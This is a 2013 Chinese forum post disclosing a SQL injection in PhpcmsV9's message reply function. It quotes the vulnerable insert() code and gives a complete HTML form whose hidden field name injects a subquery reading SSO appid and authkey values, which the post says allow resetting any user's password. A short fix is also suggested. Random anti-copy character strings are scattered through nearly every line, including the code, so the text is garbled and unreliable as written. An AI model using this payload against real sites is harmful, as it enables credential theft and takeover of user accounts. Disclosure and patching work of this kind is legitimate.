找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2081|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
" I. D5 R5 ~5 Y8 ?. c- B! Q8 q- _, D8 _
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。( A7 K' M! A" V4 s' m
$ M4 l( x, T0 {# }
明天再更新下一个漏洞。
; V9 q/ p  ^( ^& l7 G详细说明:
; O6 }# ]3 Z( ]在/phpcms9/phpcms/modules/message/index.php中有代码如下:$ m% I6 G' L' f
# g- Z  v1 K: c& Z' h8 |! q1 T
$messageid = $this->message_db->insert($_POST['info'],true);, |' z* B5 f( X# z% y

' l' S- U3 J" x/ ]* E+ |' Z( R, z9 Q( |% c$ G" p
insert方法是key value的,代码如下:
+ I5 v) j6 }) C  d+ O/ f, ~) f9 r! G# l! P3 ~) l- T& x
public function insert($data, $table, $return_insert_id = false, $replace = false) {
, b% C8 d  C! t: b" V0 u( s* d                if(!is_array( $data ) || $table == '' || count($data) == 0) {
* \- \: c1 H0 P! a5 l$ b7 V                        return false;+ E$ r$ P; f! @; b2 Q
                }
  F9 O* n4 w$ R, v                2 |5 ~$ |: V) L; r
                $fielddata = array_keys($data);  v, h/ h$ A0 D) w/ d, V
                $valuedata = array_values($data);
7 l) V# w& x6 P                array_walk($fielddata, array($this, 'add_special_char'));" x8 C" H# B, Q" d) }
                array_walk($valuedata, array($this, 'escape_string'));
0 r6 G  I/ r" E               
' N* j5 K4 u3 c3 z                $field = implode (',', $fielddata);
- o) s6 U& n6 O3 m6 ?5 e- x9 |; L: f                $value = implode (',', $valuedata);
7 r9 T0 D* J8 O2 T# x5 l
+ P# Y( ^: e' J3 q, Q: q* O" s                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';. o4 m: |  j/ W  M
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';* d# `5 @  I. N5 y* V; b
                $return = $this->execute($sql);2 r& F2 a4 t9 l/ C
                return $return_insert_id ? $this->insert_id() : $return;
+ Q9 L" s% r0 l1 N6 o        }
. a" O( e& K- k) \. `. V5 {4 v' X6 g4 k" i& O
0 r; U! L/ L3 \
嗯,很遗憾的是- `+ z8 t4 o0 e
, U, t+ k& k: ]! l
array_walk($fielddata, array($this, 'add_special_char'));
# t6 F% M. r! E& a% g
5 Z8 T$ J  C: q& P9 w, D
1 T: U: M. D" {6 h: U( |中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
- K0 O7 v- ]: u0 l2 d0 h# _8 r2 P7 p# b5 [
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
; }, L% B8 N2 A5 ]
# `3 z$ B' w3 K1 J8 @' K8 L& U- i漏洞证明:- C8 |0 t9 @' Y6 L. s  d
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
, @5 J  W' p. A# e3 _* e( W; I& u  f) l2 K5 P

3 W* N! U# h% k+ T. G+ }6 I表单如下:用户名什么的得自己改一改。7 f' e9 h8 J/ U" i7 @' R
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
8 Z6 D+ ?8 ?5 w<table width="100%" cellspacing="0" class="table_form">
# I5 q) o7 ~0 z  }0 {<tr>
3 L# b# V5 w' [0 y8 s5 W<th>标 题:</th>
( L3 }; S( u. B' [0 x) }+ R8 D<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
1 V% ^% ~( ]! N. z& e6 O% `7 F</tr> , t# W  w: V& a/ c
<tr>% A+ G3 |1 u' O5 m
<th>内 容:</th>
: q: W# o5 e" F" e( ^7 y7 C3 G<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
5 H# q) E: R+ v7 \</tr>
: _$ N, T& T7 o3 P<input type="hidden" name="info[replyid]" value="2" />
0 @9 K: T" s6 t  M  W<input type="hidden" name="info[send_to_id]" value="cc" /> 6 x; ~* r/ @% `% m
<input type="hidden" name="info[send_from_id]" value="hh">
1 n  D5 b, A$ j* S* }<!-- 漏洞的利用重点在这里开始 -->
. N+ W7 u( H$ G8 L* H! `<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
" r. U0 ]! f; y  O, ?3 ~<!-- 漏洞的利用重点在这里结束 -->
) `" O" Z% E/ D& V% S# D5 w<tr>
# j, Z6 A$ X& y3 v' d<th>验证码:</th>
: @. I! o/ T# E* W/ ?2 a1 q<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>5 H. }- \( S% t: K' w0 c( l
</tr>
7 r: i( k+ g' {2 P5 e2 v$ k- J<tr>8 K- `. {9 H7 Q3 v
<td></td>
) }3 `2 s) o$ x! q<td colspan="2"><label># Q0 X7 V2 ^6 C" ^" v$ h9 K' a- R! b
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
: Z) W( I/ b# j/ |</label></td>
3 }4 x0 p: F7 Y  L  O6 A3 v</tr>
  W; w7 l/ Q/ X3 }0 Q2 _</table>
) L& E* F$ O; O' }0 S) d</form>
+ X" j4 c% r# {5 e: P. k在add_special_char函数内对key做过滤就可以了。
4 o" p4 x' i' V* q* Y0 ]) E: v" ?# o6 A# E8 a" Y
6 |% u/ Z6 l0 M! P" _! \3 v

8 ~& P2 g+ Y1 y& P2 E% d, l

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表